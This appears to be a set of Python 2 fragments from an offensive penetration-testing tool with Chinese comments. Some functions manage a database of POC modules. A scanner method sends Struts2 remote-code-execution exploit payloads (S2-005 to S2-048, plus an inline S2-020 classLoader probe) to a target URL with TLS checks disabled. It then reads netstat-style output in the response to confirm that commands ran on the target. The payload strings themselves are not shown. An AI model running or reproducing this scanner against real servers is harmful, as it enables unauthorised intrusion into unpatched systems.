def print_poc_name_info(self, PL_POC_NAME): cursor = self.sql_exec.select() desc = ''' DirFileName ----------- ''' if PL_POC_NAME: print desc print " {FileName:<55}{Name:<25}{Date:<20}".format( FileName="FileName", Name="Name", Date="Date", ) print " {FileName:<55}{Name:<25}{Date:<20}".format( FileName="--------", Name="----", Date="----", ) print try: for row in cursor: poc_name = row[0] poc_name_path = row[1] date = row[2] file_name = os.path.split(poc_name_path)[1] #分割出目录与文件 #file_name = file_name[1] #取出文件名 if PL_POC_NAME in file_name: file_date = date pname = pl_del_suffix(poc_name) #模块文件路径 pocname = pl_del_suffix(file_name) # print " {FileName:<55}{Name:<25}{Date:<20}".format( FileName=pname, Name=pocname, Date=date) else: pass except: self.sql_exec.db_close() return else: print setcolor.set_red("[-] ") + "Sorry! Not Found Module." self.sql_exec.db_close() self.sql_exec.db_close()
def check(self, pocname, vulnstr): if vulnstr.find("Active Internet connections") is not -1: print setcolor.set_red("[*] 目标存在" + pocname + "漏洞..[Linux]") elif vulnstr.find("Active Connections") is not -1: print setcolor.set_red("[*] 目标存在" + pocname + "漏洞..[Windows]") elif vulnstr.find("活动连接") is not -1: print setcolor.set_red("[*] 目标存在" + pocname + "漏洞..[Windows]") elif vulnstr.find("LISTEN") is not -1: print setcolor.set_red("[*] 目标存在" + pocname + "漏洞..[未知OS]") else: print setcolor.set_green("[*] 目标不存在" + pocname + "漏洞..")
def insert_poc_name(self): #date = self.times.get_date() #获取日期 sql = "UPDATE STATUS set FLAG = 'True' WHERE ID = 1" try: for root, dirs, files in os.walk(self.PWD): for name in files: if name[-3:] == '.py' and name != '__init__.py': file_name = root.replace(self.PWD, "") + "/" + name file_path = root + "/" + name self.sql_exec.insert(file_name, file_path, self.date) #插入数据 #print file_name #print file_path else: pass except: print setcolor.set_red("[!] ") + "加载PAYLOAD失败,请重新运行!" self.sql_exec.db_close() self.sql_exec.update(sql) self.sql_exec.db_close()
def exist_poc(self): #date = self.times.get_date() #获取日期 #首先遍历整个目录,看是否有存在新增文件 cursor = self.sql_exec.select() #读取所有模块文件 try: for root, dirs, files in os.walk(self.PWD): for name in files: if name[-3:] == '.py' and name != '__init__.py': file_name = root.replace(self.PWD, "") + "/" + name file_path = root + "/" + name #判断是否存在 poc_flag = self.cmp_module(cursor, file_name, file_path) if poc_flag == True: self.sql_exec.insert(file_name, file_path, self.date) #插入数据 else: pass except: print setcolor.set_red("[!] ") + "加载PAYLOAD失败,请重新运行!" self.sql_exec.db_close() self.sql_exec.db_close()
def scan(self): print setcolor.set_cyan("====-------检测struts2漏洞--------====\n目标url:" + self.url) try: req = requests.post(self.url, headers=headers, data=self.poc['ST2-005'], timeout=6, verify=False) self.check("struts2-005", req.text) except: print setcolor.set_cyan("[-] 检测struts2-005超时..") try: req = requests.post(self.url, headers=headers, data=self.poc['ST2-009'], timeout=6, verify=False) self.check("struts2-009", req.text) except: print setcolor.set_cyan("[-] 检测struts2-009超时..") try: req = requests.post(self.url, headers=headers, data=self.poc['ST2-013'], timeout=6, verify=False) self.check("struts2-013", req.text) except: print setcolor.set_cyan("[-] 检测struts2-013超时..") try: req = requests.post(self.url, headers=headers, data=self.poc['ST2-016'], timeout=6, verify=False) self.check("struts2-016", req.text) except: print setcolor.set_cyan("[-] 检测struts2-016超时..") try: req = requests.post(self.url, headers=headers, data=self.poc['ST2-019'], timeout=6, verify=False) self.check("struts2-019", req.text) except: print setcolor.set_cyan("[-] 检测struts2-019超时..") try: req = requests.get(self.url + self.poc['ST2-devmode'], headers=headers, timeout=6, verify=False) self.check("struts2-devmode", req.text) except: print setcolor.set_cyan("[-] 检测struts2-devmode超时..") try: req = requests.get(self.url + self.poc['ST2-032'], headers=headers, timeout=6, verify=False) self.check("struts2-032", req.text) except: print setcolor.set_cyan("[-] 检测struts2-032超时..") try: req = requests.get(self.url + self.poc['ST2-033'], headers=headers, timeout=6, verify=False) self.check("struts2-033", req.text) except: print setcolor.set_cyan("[-] 检测struts2-033超时..") try: req = requests.get(self.url + self.poc['ST2-037'], headers=headers, timeout=6, verify=False) self.check("struts2-037", req.text) except: print setcolor.set_cyan("[-] 检测struts2-037超时..") try: req = requests.get(self.url, headers=headers2, timeout=6, verify=False) self.check("struts2-045", req.text) except: print setcolor.set_cyan("[-] 检测struts2-045超时..") try: req = requests.post(self.url, data="", headers=headers3, timeout=6, verify=False) self.check("struts2-048", req.text) except: print setcolor.set_cyan("[-] 检测struts2-048超时..") try: req1 = requests.get(self.url + "?class[%27classLoader%27][%27jarPath%27]=1", headers=headers, timeout=6, verify=False) req2 = requests.get(self.url + "?class[%27classLoader%27][%27resources%27]=1", headers=headers, timeout=6, verify=False) if req1.status_code == 200 and req2.status_code == 404: print setcolor.set_red("[*] 目标存在struts2-020漏洞..(只提供检测)") else: print setcolor.set_green("[+] 目标不存在struts2-020漏洞..") except: print setcolor.set_cyan("[-] 检测struts2-020超时..")